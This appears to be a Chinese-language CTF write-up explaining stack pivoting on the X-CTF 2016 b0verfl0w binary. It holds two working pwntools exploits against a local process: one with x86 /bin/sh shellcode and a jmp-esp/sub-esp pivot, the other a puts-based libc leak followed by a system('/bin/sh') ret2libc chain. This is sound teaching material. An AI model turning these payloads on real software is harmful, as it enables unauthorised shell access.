花式棧溢出技巧之stack pivoting

原理

正如它描述的,該技巧就是劫持棧指針指向攻擊者所能控制的內存處,然後在相應位置進行ROP。一般來說,我們可能在下述情況使用劫持棧指針。

  • 可以控制棧溢出的字節數較少,難以構造較長的ROP鏈。
  • 開啓了PIE保護,棧地址未知,我們可以將棧劫持到已知的區域。
  • 其他漏洞難以利用,需要進行轉換,比如將棧劫持到推空間,從而在堆上寫rop及進行堆漏洞利用。

此外,棧指針劫持有以下幾個要求:

  • 可以控制程序執行流
  • 可以控制sp指針,一般來說控制棧指針會使用rop,常見的控制棧指針的gadgets一般是pop rsp/esp

例題

下載地址:X-CTF Quals 2016 - b0verfl0w

例行檢查checksec

[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/b0verfl0w'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

IDA分析

  • 讀取50個字節,s的空間有0x20,也就是32個字節,ebp佔4個字節,也就是還能溢出14個字節。
  • 而且程序中沒有system函數和/bin/sh的字符串

兩種exp

使用棧指針劫持,直接向s中寫shellcode可以打通

思路如下圖:

  • 向s中直接寫shellcode,不過一般的shellcode太長,需要小於0x20字節的shellcode。
  • shellcode不夠0x20個字節的用任意字符填充
  • 虛假的ebp地址
  • 返回地址,ret相當於pop eip;jmp eip指令
    • 執行到ret時,esp指向ret,pop eip執行完時,esp+4,指向sub esp指令處。
    • 因爲ret地址處爲jmp esp。所以將這個地址pop出來賦給eip,jmp eip,跳到eip處,eip爲jmp esp,則再跳到esp處,就相當於跳到了sub esp指令處。
  • sub esp offset;jmp esp這裏兩條指令,相當於使esp指向shellcode處,跳轉esp執行shellcode。
  • 所以說第一個jmp指令爲跳轉到sub指令處,而第二個jmp指令爲跳轉到shellcode處。
  • 需要注意的是:棧無論什麼時候都不會被初始化,也不會被清空。所以shellcode在內存中依然存在,可以控制esp來執行shellcode。

還需要查找一個jmp esp的gadgets

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary b0verfl0w --only 'jmp'
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x08048504 : jmp esp

Unique gadgets found: 4

sub esp offset;offset的確定

  • 0x20的shellcode+padding
  • 0x4的ebp
  • 0x4的ret
  • 加起來爲0x28

Exp編寫如下:

from pwn import *
from LibcSearcher import *

context.log_level = "DEBUG"

sh = process('b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

jmp_esp = 0x08048504

sub_esp_jmp = asm("sub esp,0x28;jmp esp")

payload = shellcode_x86 + (0x24 - len(shellcode_x86)) * 'a' + p32(jmp_esp) + sub_esp_jmp

sh.recv()

sh.sendline(payload)

sh.interactive()

泄露libc_main_start地址,確定libc版本,再使用system地址也可打通

  • 通過puts函數泄露libc_main_start地址
  • 確定libc版本
  • 計算system地址與/bin/sh地址
  • 最長的rop鏈僅需要12個字節,小於14個字節,可以打通。
  • 具體步驟請看我的上篇博客,這裏不再展開
  • 給出Exp
from pwn import *
from LibcSearcher import *

context.log_level = "DEBUG"

sh = process('b0verfl0w')

libc_main_addr = 0x0804a020 
puts_addr = 0x080483d0
start_addr = 0x08048400

payload = 'a' * 36 + p32(puts_addr) + p32(start_addr) + p32(libc_main_addr)

sh.recv()

sh.sendline(payload)

last_four = sh.recvline()

last = last_four[-5:-1]
//切片將輸出的libc_main_start地址輸出來
real_libc_main = u32(last)

print "addr:" + hex(real_libc_main)

obj = LibcSearcher("__libc_start_main", real_libc_main)

addr_base = real_libc_main - obj.dump("__libc_start_main")

system_addr = addr_base + obj.dump("system")

binsh_addr = addr_base + obj.dump("str_bin_sh")

payload = 0x24 * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)

sh.recv()

sh.sendline(payload)

sh.interactive()

需要注意三點

  • 這個程序有回顯,不能直接recv(4)來接收libc_main_start的地址,需要進行切片或使用recvuntil函數
    • sh.recvuntil(".")
    • addr = sh.recv(4)
  • 建議編寫exp時,程序中都加上context.log_level = "DEBUG"這樣一句話,方便進行調試
  • 32位系統libc裏面的地址一般是f7開頭的
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章